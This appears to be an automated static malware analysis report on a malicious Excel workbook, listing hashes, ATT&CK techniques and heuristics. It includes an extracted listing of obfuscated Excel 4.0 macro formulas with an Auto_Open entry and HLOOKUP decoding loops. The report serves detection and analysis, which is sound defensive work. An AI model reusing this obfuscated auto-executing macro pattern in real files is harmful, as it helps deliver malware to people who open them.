Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf3741a4ceb7945d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:09 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 5c5b5769070b06f0da8c0ec9b766c113 SHA-1: 1aa5e2c5d6035b216c7a3e0941246ed77c2102fb SHA-256: cf3741a4ceb7945db922d2b362a629eb646f06db7da725d3645c3ae5a5f786b1
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 macros, specifically an Auto_Open function. This function is designed to execute automatically when the workbook is opened, indicating an attempt to run arbitrary code. The presence of dangerous formula APIs further supports this malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6901 bytes
SHA-256: 003fab1ef7d9153f09980ec2b1c5811516ac4ba7f4a8a423371d753af2c90683
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dssxyMkfske
' 0018     23 LABEL : Cell Value, String Constant - afyrtwhM len=0 
' 0018     24 LABEL : Cell Value, String Constant - ahWhGZBXR len=0 
' 0018     24 LABEL : Cell Value, String Constant - AiVnbozFn len=0 
' 0018     23 LABEL : Cell Value, String Constant - AnswzoVj len=0 
' 0018     22 LABEL : Cell Value, String Constant - AsyZURh len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F153 
' 0018     24 LABEL : Cell Value, String Constant - CskCCHfwn len=0 
' 0018     25 LABEL : Cell Value, String Constant - cTYTWivdoZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - DmVvPeDe len=0 
' 0018     21 LABEL : Cell Value, String Constant - Dndjcd len=0 
' 0018     26 LABEL : Cell Value, String Constant - eXQLfFmYFrg len=0 
' 0018     27 LABEL : Cell Value, String Constant - EYtvxYfelvoT len=0 
' 0018     27 LABEL : Cell Value, String Constant - gvcjoJWDxZoR len=0 
' 0018     25 LABEL : Cell Value, String Constant - kEizjkRpbO len=0 
' 0018     21 LABEL : Cell Value, String Constant - ngjcrm len=0 
' 0018     23 LABEL : Cell Value, String Constant - ONxAsOxs len=0 
' 0018     26 LABEL : Cell Value, String Constant - oWVpfwnGylq len=0 
' 0018     23 LABEL : Cell Value, String Constant - PwUEGDcy len=0 
' 0018     26 LABEL : Cell Value, String Constant - QPJTLmqpfWV len=0 
' 0018     22 LABEL : Cell Value, String Constant - qUBDUiS len=0 
' 0018     25 LABEL : Cell Value, String Constant - VCTICptsIY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dssxyMkfske,F63,"SET.NAME("gvcjoJWDxZoR",0+VALUE("0"))",""
'  dssxyMkfske,F68,"SET.NAME("DmVvPeDe",gvcjoJWDxZoR)",""
'  dssxyMkfske,F71,"SET.NAME("kEizjkRpbO",gvcjoJWDxZoR)",""
'  dssxyMkfske,R72,"",-312.00000000000000000000
'  dssxyMkfske,F73,"SET.NAME("ONxAsOxs",COUNTA(AiVnbozFn))",""
'  dssxyMkfske,R73,"",-738.00000000000000000000
'  dssxyMkfske,R74,"",661.00000000000000000000
'  dssxyMkfske,R75,"",288.00000000000000000000
'  dssxyMkfske,F76,"SET.NAME("VCTICptsIY",COUNTA(Dndjcd))",""
'  dssxyMkfske,R76,"",35.00000000000000000000
'  dssxyMkfske,R77,"",-729.00000000000000000000
'  dssxyMkfske,F81,[],""
'  dssxyMkfske,F85,"SET.NAME("oWVpfwnGylq","")",""
'  dssxyMkfske,F87,"DmVvPeDe",""
'  dssxyMkfske,F89,"SET.NAME("AsyZURh",HLOOKUP("*",AiVnbozFn,DmVvPeDe,FALSE))",""
'  dssxyMkfske,F94,"PwUEGDcy",""
'  dssxyMkfske,F97,"SET.NAME("afyrtwhM",gvcjoJWDxZoR)",""
'  dssxyMkfske,F102,[],""
'  dssxyMkfske,F107,"afyrtwhM",""
'  dssxyMkfske,F110,"EYtvxYfelvoT",""
'  dssxyMkfske,F112,"QPJTLmqpfWV",""
'  dssxyMkfske,F115,"CskCCHfwn",""
'  dssxyMkfske,F117,"SET.NAME("qUBDUiS",VALUE(HLOOKUP("*",Dndjcd,CskCCHfwn,FALSE)))",""
'  dssxyMkfske,F122,"ngjcrm",""
'  dssxyMkfske,F127,"oWVpfwnGylq",""
'  dssxyMkfske,F129,"kEizjkRpbO",""
'  dssxyMkfske,F134,NEXT(),""
'  dssxyMkfske,F139,"ahWhGZBXR",""
'  dssxyMkfske,F141,[],""
'  dssxyMkfske,F144,"eXQLfFmYFrg",""
'  dssxyMkfske,F146,NEXT(),""
'  dssxyMkfske,F149,RETURN(),""
'  dssxyMkfske,F181,"SET.NAME("cTYTWivdoZ",F63)",""
'  dssxyMkfske,F185,"AiVnbozFn",""
'  dssxyMkfske,F188,"SET.NAME("Dndjcd",R88C14)",""
'  dssxyMkfske,F190,"SET.NAME("eXQLfFmYFrg",198)",""
'  dssxyMkfske,F194,"SET.NAME("AnswzoVj",6)",""
'  dssxyMkfske,F197,cTYTWivdoZ(),""
'  dssxyMkfske,F198,HALT(),""